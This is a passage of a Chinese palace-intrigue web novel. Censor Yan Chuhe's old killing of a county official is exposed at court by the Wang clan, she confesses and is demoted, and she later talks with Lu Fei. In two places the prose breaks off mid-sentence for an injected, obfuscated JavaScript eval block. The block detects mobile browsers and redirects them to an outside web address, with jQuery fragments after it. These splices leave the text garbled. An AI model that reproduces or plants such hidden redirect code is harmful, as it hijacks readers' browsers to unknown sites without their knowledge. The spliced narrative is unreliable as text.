晏楚鹤刚来气,自己心里又不自觉给这人找补,窦怀谦兴许会对她很特别,她不必困在宫里……话本子一样的美好结局在她心底出现,被空气中的血腥味一一压过去。
这些都不重要。她对他没什么兴趣,她不想像娘一样因为生育落下病根,这就足够构成拒绝的理由。晏楚鹤有些厌烦,就在这时,河上漂浮的一件稀奇物件把她的注意力吸引走了。
那是一样木雕。
她对蜀地物产了如指掌,对这条见证过无数战乱与权谋更迭的锦江亦不陌生。可这木雕的形制绝非蜀地风格,所用木材也非本地所产。它从何而来?
审视的目光从江面移开,下意识扫向岸边高处。一株遭过火劫、枝干焦黑扭曲的老树闯入视线。树杈间,栖着一团浓黑的不明之物,在夜间难以辨别。
庞大,漆黑,不是鸟。
浸湿的头发,褴褛的衣物,以及未处理的伤口
一个男人正一瞬不瞬地死死盯着她。
形貌越看越眼熟……像是洛阳京都城门,通缉令上的画像。
他离她越来越近。
十步。
五步
那股血腥味越来越重。
三步,
晏楚鹤用了最快的速度,堪堪拿出药粉。
那人的脸变得面目清晰了,狰狞,伤疤,嘶哑的嗓音如同地狱来的恶鬼,叫人夜夜难忘。
“公主?”
19. 恩怨空成戏
晏楚鹤从梦中惊醒。
梦里又是她昨晚见到的那个男人——前朝余孽——她当时吓得胡乱挥洒着药粉,直到听见那声“公主”。她正犹豫着,又听见附近军兵的动静,那浑身是伤的男人也如幽影般消失在夜色里,轻功诡异而凌厉。
晏楚鹤用衣袖擦去冷汗,又揉了揉发酸的肩颈,这才派起身……燕王出发前特意让人给她备的镜子被她拒绝了,这会儿只好抓住其他人还没醒来的时间,借驿站附近的河面一用。
……果然,她这段时间没怎么吃药,肤色比先前白了不少,如今行军又不便用脂粉掩饰容貌,这才会被昨夜那个见过永宁公主的人认出。
不过幸好,她在宫中久居,清楚那些见过永宁公主的奴婢太监早已死绝。景安帝连自己的孩子都认不全,对匆匆见过几面的永宁公主更是毫无印象。而她,晏楚鹤楚御史作为宠臣,却是每天出现在文武百官前,那张原先属于永宁公主的脸已经悄无声息地归属于她。
事已至此,她还是默默把在益州遇到的这个奇怪男人的样貌记下。
——
有意思的是,此刻,洛阳京城内,王大将军的旧部中也有一个奇怪的男人。
晏楚鹤还在路上便从暄儿的来信中得知此事。如今,皇帝正颇为宠幸这位——和她一样擅长搬弄口舌的人。想来,死去的那位王大将军于战事无功,于百姓无义,倒是在搜寻培养些歪门邪道的人才上下了不少功夫。
又是半个月。
现如今的大夏朝堂,保守派势力大涨。皆因为这场无人看好的战役大获全胜。而王家如今日渐式微,失去依仗的主战派几乎都投向燕王,其他皇子公主同景安帝比没强到哪里去,更是难于燕王抗衡。是以,而今日燕王班师回京,全城欢迎,俨然储君之姿。
景安帝听闻这般情形,纵有百般不喜,奈何窦怀谦人如其名最擅长谦恭,燕王做的到位,他这个昏君再怎么糊涂也不会这时候发落他,只好在贵妃和那些宫仆上出气,再久违地去了趟早朝。
晏楚鹤时隔大半年重回朝堂,正觉得哪哪都不习惯,便见到由皇后亲手搀扶着景安帝,惊讶得移不开眼。比起景安帝那种要死不死的样子,王开宁王皇后更令人意外。她不过三十出头,较之贵妃要年轻许多,正是而立之年,面色却是憔悴至极,想来也是王家的缘故。
作为景安帝的继后,她的族姐是其元后,姑母是太后,追根溯源,祖上多为前朝重臣,一脉从武一脉从文。
是以,这个繁盛的封建家族在王大将军身死后依旧有几分权势,实乃百足之虫死而不僵。
王家今日这番做派倒叫晏楚鹤忍住倦意,强行打起十二分精神。在殿里寻起那位王家出身的皇帝新宠,这位王开宁王皇后的族弟,名叫王宇,从前是镇西军的四品参谋,又以擅长科举策论等著称。
说是如此。在窦怀谦接手战事前,这对王家兄弟还不是被吐蕃人耍得团团转,眼里只有前朝余孽那些事情。
今日在朝堂上一见更是,空有虚名,和晏楚鹤像是一个路子,只会弄唇讨好上位者罢了。
那位二十多岁的年轻男子不像王开宁有着伪装慈悲的美貌,也没有死去王大将军足以欺骗世人的宽厚长相。这位小王参谋生得一副薄唇狭目的刻薄相貌,只见他夹着嗓子,比皇帝身边的太监都要殷勤:“陛下今日加赋,不是为了盘剥百姓,是为了让大夏在战乱中延续的不得已之举。真要害百姓的,是那些只敢在奏章里哭来哭去,却半点实事都做不成的家伙
——楚御史觉得呢?”
晏楚鹤听见这番鬼话,立刻得出结论,此人倒是和她自己完全不同,
她先前走的是指责大臣,替景安帝发泄情绪,最关键的是准备上演有趣的戏码。
同样是弄舌,这位王参谋却是完全站在景安帝身前,把黑的说的白的,把这昏君桩桩件件的恶心事说成正当的、合理的、前无古人后无来者的圣明之举。
嗯,加税拿钱给自己造佛像,却是前无古人。
不过,两种路线哪个更能迎合景安帝,胜负已分,确实不用多说。晏楚鹤对于这些已经浑不在意了。
不过是王家的垂死挣扎。
她收敛神色,大势所趋,胜负已分,她亲眼看着王家穷途末路。
“与我何干?陛下要加税,自该由户部之人负责。我奉劝王大人还是少担心户部之事,先反思自己吧。”
“哦?楚御史又有何高见。”果然,景安帝还是爱看戏的。
“微臣在益州时曾与王大将军旧部交谈,王家涉谋反、贪腐、滥杀无辜等罪,证据确凿,主犯当处凌迟,男丁十六岁以上斩立决,未满十六者发配南瘴充军;女眷没入教坊司。”
晏楚鹤眨了眨眼,只是从前眼里的那些狡黠都不再出现,余下的那团火径直看向在她右侧的王宇,此人如此年轻,却是下令要她外祖父死,害死她父母的罪魁祸首。
“王参谋貌似也脱不了干系呢。”
王宇浑身剧颤,面无人色,显然未曾料到,这位与王家并无什么仇恨,先前在朝堂上也像是中立的楚御史竟能短短时间内查得如此之深。
第一个说出话的是王开宁,她在听到晏楚鹤声音时便已瑟瑟如秋风落叶,连搀着皇帝的手臂都松了力道,被景安帝倦怠地踹了一脚,却仍是强撑着跪直。
她是满堂上唯一一个敢替王家发言的。
病中美人也是美人,王开宁伏在阶前,潸然泪下:“……还请陛下看在臣妾多年的侍奉,臣妾姐姐的份上,王家世代赤胆,怎会行此大逆?楚御史所言必有隐情——容三司彻查,还王家一个明白。”
这番泣诉为王家换来了充足的喘息。景安帝大概是心中最后那点温情泛起,想起昔日的爱妻弟兄,竟表演出一副深情帝王的样子:“着大理寺、京兆府即日会审。在定罪前,皇后依旧是皇后,参谋史依旧是参谋使。”
——
傍晚,处理完积压的公文,晏楚鹤将视线转向那堆请帖——自回京的那日里,邀约的帖子便就接到了众多邀约,偏偏没有那个人的。她在回京都前就听说过那个人的现状,
没了她阻拦,他很多革新措施都成功实行,京都好转了不少。前些日子,他亲自去郊区照顾百姓,查看新政推行情况,染了风寒。想必她先前阻拦时顾虑的风险,他也想出办法应对吧。
这几个月来,他们有过几封书信往来。晏楚鹤本想将这些往办公楼随处放下,没想到又带回去了。
燕王已经赢了,保守派的和主战派的争斗已经没有必要了。她作为其中关键,身份地位也已水涨船高。就算她只知道蜀地会发生什么,无法助力于其他战事,燕王总归不会亏待她。她还有雕刻的技艺。
总之,政敌的身份……现在已经可以放下。
“晏姑娘?”
马车外,是她正想着的那人的声音。
在京城,会这样叫她的只有他。
儒雅青年骑在马背上,明明脸色苍白,倒是看不出病弱的样子。
晏楚鹤打趣道:“路侯爷白了不少。”
“楚御史也是,越发像某位故人了。”
晏楚鹤心里重复着一样的话,说不出口。她的宅子图便宜的买在偏僻处,想来是有要事:“侯爷怎地绕到这了?”
“王家一事需要谨慎,徐徐图之。”
“我有分寸,不用你担心。”
“我不是这个意思。”
“那是哪个意思?”
路斐自然不能说自己只是来混个眼熟,试探下晏楚鹤如今是否还对自己上心。若是同传闻中那样,她已经和燕王情投意合,那他的计划可就得换个方式了。是以,他故作镇定,改口道:“你现在对我的政策呢,有什么看法?”
信纸上的不可信,他要听她亲口说出。
晏楚鹤笑着,眼前男子的纠结她看的清楚,她误以为他是真的要推行新政关心百姓,竟不自觉露出笑容:“姑且就那样吧。”
“和信上说的一样?”
“和信上说的一样。”
马车缓缓前行,天色彻底沉了下去。到了府邸门口时,门前却已停着另一辆等候良久的马车。
光天化日,对方不至于做什么。晏楚鹤下了车,同小王参谋见礼。
“王参谋如今该找的,应该是大理寺,京兆府吧?找我做什么?”
“王某人并非为自己而来,而是为楚御史而来,”这人明明死到临头,却又突然如此镇定,倒是和早上在朝堂上那副惶恐模样判若两人。
“我同你无话可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836192|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说。”
“非也,王某人只想确认一件事,楚御史真的铁了心要追随燕王殿下?”
晏楚鹤懒得掩饰,道:“我自然是效忠帝王,只是皇位已经于王皇后名下的皇子们无关罢了。”
“别急着拒绝嘛,楚御史终究是女人,总容易被谎话迷花眼,”王参谋见晏楚鹤愈发不耐的神色,忙道:“燕王许下的皇后之位,将来必然落在世家门第,你若真跟着他,只会白替人做嫁衣。”
晏楚鹤听得反倒笑出声来:“我在意的怎么会是这个位置?”
若非我如今是燕王的左膀右臂,你们又怎会多看我这孤女一眼?你们王家招揽笼络人的手段向来如此?不知将来宫里要多几个男皇后?”
王参谋愣了愣,又道:“御史若愿转圜,王家愿以陇西兵符为聘,更可助御史统掌蜀地军政——”
晏楚鹤挑眉,微微偏首评价道:“听着倒是诱人。我回头问问燕王殿下肯不肯这般许诺。至于你们王家,我已经在朝堂上同圣上开口,诸多罪证也递交了,自然没有周旋的余地。”
王参谋倒抽一口冷气,最后那点虚伪的殷勤荡然无存,嗓子也忘了掐:“你这女人!我王家同你无冤无仇,何至于此?”
无冤无仇?晏楚鹤暗下眼眸,若不是王家当年为了探我外祖父的商道、钓前朝余孽,设局害死她父母,她又怎会这么快走到这一步。
晏楚鹤看着眼前人死到临头不知悔改,道:“你们害过的人那么多,不差我这一个。”
“竟是如此,可,楚御史难道无辜?难道手上没有人命?
楚御史护着的不说燕王,那个路侯爷又能是什么好东西?”
留下这番话,王参谋拂袖而去。
——
晏楚鹤越想越不对劲,王家如此镇定,定然又有什么她不知道的猫腻。她从来不惧同这些世家作对,只要像以往一样将计就计准备陷进,答案自己就会出现。
次日一早,那位小王参谋居然还能出现在朝堂上,不仅如此,景安帝也罕见地端坐于龙椅之上。
一堆关于吐蕃,立储,饥荒的奏折把老皇帝烦得心乱,又聊到王家的案子,王参谋分辨了几句,显然比昨天多了些准备,看他的样子,大理寺和京兆府里应该有王家的人。晏楚鹤正回忆着,突然听到王参谋高声道:“臣一直不解,楚御史盯着王家不放,究竟是何缘故?”
晏楚鹤语气平静地应付着:“御史风闻奏事,纠察百官,臣也是履行分内之事。”
“启禀圣上,臣有一事要奏,臣先前在益州成都府了解一桩奇案,”王宇忽地转向御座,神色陡然凝重,“兹事体大,事关前朝余孽,臣不敢不报。”
听到“前朝”二字,景安帝长叹了口气:“说。”
“陇西府曾有一县官,平日随和,百姓称赞,一日于宅中离奇失踪,踪迹全无。其妻惊慌失措,竟匆忙变卖家产。”
景安帝帝拖着肥硕的身体坐了起来,扶着他的王开宁柔声问道:“莫不是他妻子杀了他?”显然,这是他们王家人准备好的戏码。
“皇后娘娘说的,臣初时亦作此想。”王宇躬身,话锋却一转,“然而,就在其卧房之内,竟发现一条隐秘地道,更搜出数封与前朝逆党往来的密信。”
“当地官吏循迹追查,得知曾有驿卒目睹一体貌相似之人骑马出逃,而那密道出口,正通向驿馆,那马蹄痕迹直至荒郊悬崖……想来,应是那县丞事败惊恐,仓皇逃窜时失足坠亡——楚御史觉得这番推断如何?”
“……顺理成章,并无遗漏。”
“非也,此番说辞有三处破绽。”那王参谋突然抬高了声量:“既是从家中密道秘密潜逃,何来现成的马匹?且那崖边马蹄痕迹非同寻常,杂乱拖沓,不像是只走过一两次。
其二,既备了马匹,想来是蓄谋已久的潜逃,那必然规划周全,岂会慌不择路,直往绝地悬崖而去?更矛盾的是,既然决心潜逃隐匿,又为何在出走当日被人注意到?”
“至于其三,”他顿了一顿,目光直刺晏楚鹤,“同日出城的还有一位县丞的外甥女,姓晏,手艺精湛,尤其擅长雕刻。”
晏楚鹤眉头紧蹙,冷眼对上王宇此刻小人得志的脸。
原来如此,是查到了她杀王县丞的事。
20. 谪宦自有暇
晏楚鹤不怒反笑:“那还真是巧。”
景安帝正半倚在龙榻上,闻言微抬眼瞧见晏楚鹤这般反应,顿时来了兴致。一旁的王开宁扬起眉梢,顺势接道:“确实巧,王参谋,您快接着说,这女子与案子究竟有何干系?”
那王参谋清了清嗓子,挺直腰板:“陛下,娘娘,多亏老天有眼!那贼女子行事虽极为机密狡诈,却偏偏有几位经验老到的师爷恰好在成都府,这才觅得蛛丝马迹!
县丞府中众人,起初大多受了那县丞夫人的打点,不肯吐实,我们着实费了些周折——”
“慢着,”景安帝懒懒地抬手,打断道,“朕只想听重点。”
王参谋喉头一哽,连忙躬身:“是,是。启禀陛下,有一名小厮终于坦言,县丞失踪那夜,他也曾莫名其妙在后院昏倒,是被人从背后偷袭所致。想来……王县丞亦是先中了同样的招数,才无力反抗。”
他顿了顿,加重语气:“此外,我们还在那王参谋的卧室的缝隙处发现些许残留血迹,若非神探细察,旁人根本难以注意到。
再加上,先前提过的那条密道,”王宇话锋一转,“如果他真要自己潜逃,那些与前朝来往的书信又怎会那般容易被找到。陛下,实不相瞒,王县丞是臣家中远亲,这番行为乃是家兄,已故的王大将军秘密相授,旨在以身为饵,诈出潜藏的前朝余孽,为陛下您了却一桩心病啊。”
景安帝正吃着葡萄,听闻此言,那湿黏的葡萄皮不偏不倚,正正到那王县丞面上。
“朕还得感谢他?感谢死去的王大将军?”
“不是的,陛下。”王开宁忙疾步上前,将正要为皇帝擦拭汁水的宫女随手推倒,亲自拿着帕子——关心的样子好像真得对那副躯体一点也不嫌弃一样。在场众人无不感慨,自愧不如。
“臣妾的族人只是好心办了坏事,能为陛下牺牲是他们的福分。只要陛下龙体安康,开怀顺意,他们未能享尽的寿元,臣妾早已差遣僧道,设法引渡归还给陛下了……”
晏楚鹤胃里一阵翻腾。她只能硬生生咽下,眼下所有矛头都对准了她。上一次感受到这般四面楚歌的寒意,还是她初入此殿,献上那尊“月藏观音”,被前任路侯爷针对时。
时光荏苒,她早已不是当年那个一无所有,只能押上一切口不择言的孤女了。
王参谋那边的叙述终于告一段落:“……佛祖保佑!根据目击之人的证词,我们得以推断出全案始末。楚御史对其亲姨父下毒,利用密道与人合谋,将其运至某处残忍杀害,毁尸灭迹,至于原因嘛……”
他刻意拖长了调子,狐狸似的眼转向了她,语气中又带着几分咬牙切齿,“女子行凶,多半处于淫邪情欲。彼时的楚御史不过一介孤女,定是王县丞严辞拒绝了她的□□之举,她这才恼羞成怒,痛下杀手!”
晏楚鹤听了自然来气,但她头脑转得快,立刻笑着还嘴道:“如此说来,昨夜小王参谋在我府邸门口对我追缠,自荐枕席,实在有伤风化,被微臣义正言辞地拒绝。今日这般污蔑我,想来是因为这一事怀恨在心了。”
那王参谋的面色唰地红了:“你,你怎么能这样污人清白。”
“古来男子杀女子,不也多是因为情欲纠纷,这话同您刚刚说的可什么区别。”
王参谋给她堵得说不出话来,狠狠地瞪了她一眼,便立刻转向御座,扑通跪下:“陛下,臣恳请彻查楚御史!此女仗势乱朝、祸患已久,今日之案不过冰山一角。若再容忍,恐朝纲不振,人心渐乱。望陛下明察!”
晏楚鹤也看向御座上那人,恭敬道:“启禀陛下,所谓证据,不过是小厮模糊的证词,还有几处说不清楚的血迹——不过,臣有一事不明,既然如此,王参谋为何不召那位县丞夫人进京?”
见众人露出思索的神情,晏楚鹤轻轻一笑,自问自答道:“是臣考虑不周,忘了王参谋随王建军去蜀地本是为了打战。若非王参谋方才细数案情如数家珍,臣险些以为,诸位倒像是专为查我这桩陈年旧案才去的蜀地。”
可惜,案未查清,战先失利。兵败时这些王家旧部灰溜溜地逃跑,自然也顾不上什么县丞夫人了。
在场众人顺着思绪都能读懂晏楚鹤的弦外之音。有个年轻的世家子弟一想到平日那般傲气的王家竟如此无能,于战事和案子两头抓空,一时间竟忍不住笑出声来。幸好混在人群中,他止得又快,让王参谋想找是谁都难。
他只好脸色铁青,顶着这番嘲讽把话题带回案件:“楚御史当年进京的文书与身份凭证,皆由陇西县县衙所出!而楚御史的容貌,与那县丞夫人颇有几分相似!天下精于雕刻的女子本就屈指可数。这几处关联,足以说明其中关系。”
晏楚鹤对此早有准备,当初稍作遮掩,不过是因为“晏”姓不算常见,不欲过早引起某些人的注意。如今,王家既然敢说出来,当然有几分把握。她坦然道:“微臣随孤鹤大师学习多年,由师父赐名。那位县丞若还活着自可替微臣作证——微臣从来没有否认过自己有一个失踪的县丞姨父。
就算如此,那位县丞的失踪乃至身亡,与臣何干?彼时臣随师父云游四方,途经洮阳,不过小住罢了。”
话虽从容,晏楚鹤心下急转。她还没有想通,王家今日敢这样在大庭上翻起旧案,必是寻得了她未曾算尽的破绽。
翻供的小厮?晏楚鹤明确,她此番回京特意联系了小姨晏季华,那小厮虽然被王家人带走,所知无非是自己莫名昏厥,连她当时用以掩其口鼻的帕子纹样,迷药气味都未必记得。
至于砖缝里的血迹更是痕迹模糊,难以分辨。
还有所谓的目击者,至多在驿站瞥见过她的身影。此后通往悬崖的荒径杳无人迹,绝无追踪可能。王家却这般咬定,比如是在诈她……等等,
王家为何如此笃定王县丞已死?
她给王县丞选的结局是失踪。即便有人沿马蹄印追踪,出驿站的路经夜雨冲刷,可没什么痕迹能留给王家查。
晏楚鹤一时怔住,凝眉细思。
她明确途中绝无旁人。难道是王县丞自己?可麻袋捆扎严实,王县丞的血透不出去多少,不可能留下痕迹。若是他划开了袋子?她检查过才对。过目不忘的本事让每一个细节在她脑海中复现——就在这时,王宇的手忽地扬起。
晏楚鹤下意识抬眸,视线尚未聚焦,一抹暗淡却熟悉的颜色已刺入眼中。
一块残缺的,淡紫色的布料。
是——她扮作王县丞时穿的外衣,
寒意瞬间窜上脊骨,晏楚鹤倒吸了口气,极力维持镇定。他们不仅找到了悬崖,也找到了坠亡的尸身。
短短一息之间,千百个念头在脑海中闪过,又归于一片空白。怎么可能?哪一环出了纰漏?是王家人突然开了智,还是背后一直有双她不曾察觉的眼睛。
平日里过于理智的弊端在这时出现,她的错愕悉数落入了殿上人眼中,还未实锤的罪名已经悬在她晏楚鹤头顶。
王宇的声音不高,却带着一种毒蛇吐信般的粘腻,他将布料用两指提起,刻意往前递了半分:“楚御史想来认得此物。”
“只是觉得这布紫中透灰,做工丑陋。鲜少在官员身上见到。”
“这块布,是从王县丞的尸身上取下的。”王参谋眼神微微一凝,“他向来喜欢这些紫灰色布料,总爱收藏些稀奇之物。楚御史擅长雕刻,府中人皆知,你也曾送过他一些雕刻收藏吧?”
晏楚鹤斟酌着,像以往一样从善如流:“时日已久,记不真切了。即便偶有赠予,也不过是些随手刻磨的小玩意儿。”
“这样啊,”王宇不再深追,而是突然手腕一翻,将布料内侧的狰狞痕迹展示出来,“既如此,那死者死时握着这块布便可以解释了。
紫色源于楚地,向来有楚紫一称,再加上他另一手特意捏了把湿泥,这湿漉漉的泥土经人手,不是雕便是塑,倒和楚御史所擅长之技不谋而合。真凶可不就是楚御史你!”
说完,他高声道:“陛下,臣今日所言,沿途百姓、驿站杂役皆可作证。尸身已在密送途中,不日便将抵京。那王县丞死前其十指深陷、至死未松之状,绝非寻常坠崖之状!。”
“且慢,”窦怀谦终于没忍住开口,“绝境之下,随手抓到什么便是什么。单凭一把随处可见的泥土,岂可妄断凶手?”
“非也。燕王殿下。就算是胡乱抓,在坠落的瞬间发觉不受力时,本能便会松开,总不至于抓的这样死。而且,这种姿势,他为何一手紧攥布料不放……诸位去那处悬崖就知道了,这显然是他在坠落前死死抓住,拼尽全力想要传递的死亡讯息。”
“……难为你们复原尸骨。”
“非是臣等苛察,”王参谋垂目,“是崖底老树盘根,略托坠势。尸身虽损,双手幸得保全——想来是佛祖保佑,天意欲令真相昭然。”
该死的老天……晏楚鹤已经缓过来了,这样微末的机缘都被王家遇到,岂不就是苍天也看不惯她。事已至此,
杀人的经历被实锤,
那又如何?
她动手时候就做好了这层准备。
再说,景安帝从不在乎区区人命。只要死的不是他自己,亦非他枕畔的美人。他人世界的悲痛恩怨只会成为他吸食享乐的戏码。
同王家投敌,私贩军粮比,晏楚鹤做的事再小不过。
晏楚鹤对此很明确。而针对她的人,王家驰骋朝堂多年,也清楚这点。因而,她担心的是有人在此事上做文章。
如今事情还未定数,一切果然还是要看景安帝。喜怒难料……这狗皇帝怎么还没死。
这次说话的是王家一名拥簇,她在御史台的同僚,他突然大声道:“陛下!臣疑心楚御史谋害官员不过是掩人耳目,真正与前朝余孽暗通款曲另有其人!如今既要王家论罪,便请陛下将两案并审,是非曲直,总要水落石出!”
王开宁也劝道:“陛下,臣妾知道您怜惜楚御史才华。可若她真是勾连前朝之人,那这些年来她所经手的案件、所接触的朝臣,又藏着多少祸心?细想之下,实在叫人心惊。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846206|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>是了……王家的目标是断掉燕王的一臂。他们只看到,窦怀谦在除夕宫宴上能够逃过一劫全靠晏楚鹤。他们认为窦怀谦长年在幽州,只擅长作战。而今,他若是护不住一个杀人的晏楚鹤,必定会声望受损,还在摇摆的主战派与中间势力或许会重新回到王家手下,那么,他们就能像以往一样,断臂求生,将罪名往晏楚鹤身上推,有重新来过的底气。
若是燕王护住晏楚鹤,无异于同皇上作对,在那位多疑自私的皇帝眼中——他将直面景安帝的暴怒。朝臣照样会不看好他。他的立储之路会难上加难。而王家却依然能尝试把责任甩给晏楚鹤。
王家在用最后的身家,做一场自以为怎样都不亏的赌局。
但偏偏他们挑中了晏楚鹤。没有家世背景,罪证确凿,又是燕王的左膀右臂,确实是最合适的人选。
这场赌局的真正用意,是用晏楚鹤逼燕王作出两难的选择。
但,要是晏楚鹤不给这个机会呢?
如若她主动成为一枚“弃子”呢?
晏楚鹤神色平静,先于所有人开口:“臣承认自己杀人不过是为了报仇,臣愿辞官伏罪。臣只有一事相求——望陛下莫要毁臣的双手。
臣……还想继续为陛下塑佛像。”
昨日王皇后在殿前垂泪诉衷、以情动人的模样,她学了八分相像,这位帝王的心思想来是法理在后,私欲在前。
晏楚鹤此举不仅是赌帝王的心意,她这样的认罪过于突然,这番愿意放下一切的魄力是王家想不到也绝不会尝试的。以至于,王家被打个措手不及,原本准备的证人、舆论、官员联名全失效。
燕王脱了困境,转而厉声质询王家案件,趁势一池祸水反泼回王家……又过了几日不见血的厮杀,几番较量下,王参谋反倒成了弃子,他涉事最深,死罪已是板上钉钉。剩余的王家人势衰力弱,就此离开了洛阳京城。
至于晏楚鹤,她虽行杀人之举,但感念其孝心忠心,是以只被贬官到了一偏僻边陲当太守,那里土石特别,皇帝要她每月献上佛雕抵过,这一系列事端才算尘埃落定。
于反对燕王的朝臣而言,此举如断燕王臂膀,不是不能接受。于保守派而言,领头的晏楚鹤既已失势,如今自然是人人皆觉上位有望,亦是暗喜。而最是惬意的,当属御座上的景安帝,他又看了一出好戏。
——
又过了数日,晏楚鹤熟练地将燕王的信拆开。如今她被责令禁足府中,在为皇帝雕刻几串特殊的佛珠前,不得出门。刚好,窦怀谦正忙于应酬。他离开京城太久,经过这次事件,向他示好投靠的人反倒更多了。他忙着和新的附庸交好,自然无暇来她这寒舍。
所以,此刻门外的访客又会是谁?
晏楚鹤将窦怀谦那封情感真挚的信笺搁在一旁,亲自下榻去把门打开——她身边的仆从早就在上次离开京城前遣散。至于身为御史时,皇帝给的那些人手也不得不全部交还回去。她如今要去边陲之地,没必要在京都招揽人陪她一起受苦。她本就不是什么时刻都要人伺候的贵族。这样一个人的日子倒还有几分闲适。
当然,门外还有几个皇帝象征性派的护卫,目的是看押她的同时保护她不被某些怀恨在心的人暗害。
这些护卫同样不屑于同她说话,就像京都里的其他趋炎附势的小人一样。世人皆叹楚御史时运不济,杀人也杀不干净,调侃说是这女子从政,天地不容,连老天爷都看不下去。现如今这宫外,可没人认为她还能东山再起。
晏楚鹤乐得轻松,她如今是旁观者,将这京城局势尽收眼底,除却窦怀谦,此刻还会来寻她的,大抵也只有那人了。
她推开门,路斐也是独自前来,长身玉立,风姿清举,着一件墨色大氅,领口一圈风毛被夜风吹得微动,脸上带着清亮的笑意,和她梦中别无二致。
晏楚鹤侧身为尚在病中的客人挡住风,礼貌地关切道:“门外风寒,鄙舍虽然简陋,但路侯爷体弱,不介意的话,不如屋内一叙。”
“晏太守有请,那本侯就恭敬不如从命。”路斐边说,边极其自然地朝旁边值守的看守递去一包银钱,对方默然接过,他便举步跨过门槛,轻松入内。
晏楚鹤关上门,那人已经自己不客气地自己坐下,她也就不客气地直白道:“你来,我很意外。”
路斐解下大氅,随手搭在椅背上,闻言挑眉:“晏太守觉得我也是那种趋炎附势,只论权位高低的小人?”
晏楚鹤正背过身边去拿那茶壶,闻言想了想,道:“是也不是。”
“此话怎讲?”
“侯爷的野心很大,自去年在洮阳城一遇,我就知道了,”晏楚鹤缓缓倒了壶早上沏的茶,垂眼看着冒着雾气的杯子,“我如今算是与与权势无缘,侯爷来找我不过是浪费时间。”
“但我还是来了。”
“是啊。”晏楚鹤笑了,她在见到路斐时总是忍不住带上习惯的浅笑。毕竟这人就是这般奇怪,矛盾,偶尔一瞬却会梦中那人重合。
“你又在透过我看什么人。”
21. 供给亦劳哉
路斐却被她这目光瞧得有些不自在,偏过头小声道:“你又在透过我看什么人。”
“嗯?”
“楚御——前四次见面,你貌似都在透过我看另一个人,”他转回头,看着晏楚鹤的目光带着极具个性的执拗,“虽然不知道是谁,但是,我不是他。
不要对我抱有什么不切实际的期待。”
看着晏楚鹤面上的错愕,路斐心下莫名畅快了几分……他终于说出口了了。
说来惭愧,这些话在他心里盘旋已久。他将晏楚鹤视之为重要的对手与目标。对方莫名其妙的善意一直是他所关注的。
……果然,他就知道,这女人是拿他当什么人的影子。他路斐堂堂武昌侯,怎可做他人替身?!如今说出来,像是捅开窗户出了口气,轻松的同时,居然有些许苦涩的凉意。
那并非失落。路斐飞快地否定了这个念头。他只是有些担忧,这女人被戳破心思后可能会出现的恼怒或辩解。她现在愣了这么久,神情甚至显得有些……柔和?
“晏楚鹤?”
他忍不住又唤了一声。
“噢,没事。”晏楚鹤回神,笑着答到,“我也是现在才反应过来。”
她方才细想了一番,将自己那点执念细细捋了一遍。是了,她自己对梦中那“神仙哥哥”,大抵是敬仰多于倾慕。
……且不说这么多年她自己对于所谓神仙哥哥的美化。人皆是会变的,身处这样的国家,若路斐真如梦中那般只知恪守儒道,定然活不过十章。她一直以来的念想,不过是以梦中人激励自己,如今她竟在现实中见到视之为楷模的本人,已是上天垂怜的机缘。她又怎能强求对方全然依照她梦中那般?
她竟愚钝至此,此刻方才想通,可能是因为之前都没机会同此人好好说过话吧。
“先前四次偶遇,侯爷所言所行,皆与我预想大相径庭。至于我的预想,事出有因,你若想知道,我当然可以慢慢道来。
不过路侯爷事务繁忙,今日前来,想必另有要事吧?”
路斐那双桃花眼倏然亮起。她这话是在肯定他?想着,他压下嘴角的雀跃,抓住称呼问题,道:“叫路侯未免太生疏了,你我是旧识,我既然直呼你的姓名,你若不介意便喊我的表字,明彰吧?”
“路明彰?我记住了。”见路斐呆着,晏楚鹤不由莞尔,“我倒是没有表字。”
!妙极!这女人应下了!至少这说明,他路斐远比那个只知道送信的燕王殿下要更重要。燕王,对了。路斐想起自己此行的本意,不能让燕王在发展下去了。
“无妨,”他清了清嗓子,将话题拉回,神色也认真了几分,“晏楚鹤,我今日来是有一事想问,在接触过普通人难以企及的权力和奢华后,你真的甘心于去营州那等苦寒之地,蹉跎岁月?”
晏楚鹤顺着对方的话,作出失落的神情:“自然不会。”
“京城里有的是人希望你就此消失,也有为了自己的利益,正想方设法让你留下来。”
晏楚鹤的目光掠过桌上那封用料考究的信笺,了然一笑:“哦?那人想来是燕王了。”
“你已经知道了?”
“嗯。他又向我求婚了。”
又?!求婚?!路斐的视线也随之扫过那封信,想也不想便脱口而出:“别答应他!”
话一出口,他自己也微怔,立刻找补般道:“我是说——你对燕王此人了解多少?”
“为人谦和,礼贤下士,武功卓越,目光长远。”
晏楚鹤自以为自己说的敷衍。路斐听得,心像是被拧了下。
你又是如何看待我?
这个问题不合时宜,没有缘由,问不出口。她对他的特别,或许都是因为他路斐的外表偶尔像燕王那样,儒雅谦和?
若是晏楚鹤知晓他此刻完全脱轨的想法,定会哭笑不得。她心里对于窦怀谦的种种与爱慕相差太多。那个人在战场上肆意杀敌的样子至今还在她脑海里挥之不去。
路斐压下心中莫名的异样情绪,难得不用怎么演就能说出计划的台词:“事先声明,我对你没有求娶的意思,但……你若答应燕王,实属不智。
困在后宫并不是好事,你应该比我更知道才是。就算能留在京都,当今圣上的品性就是这样,时局愈发混乱,去营州远离纷乱,未必没有好处。”
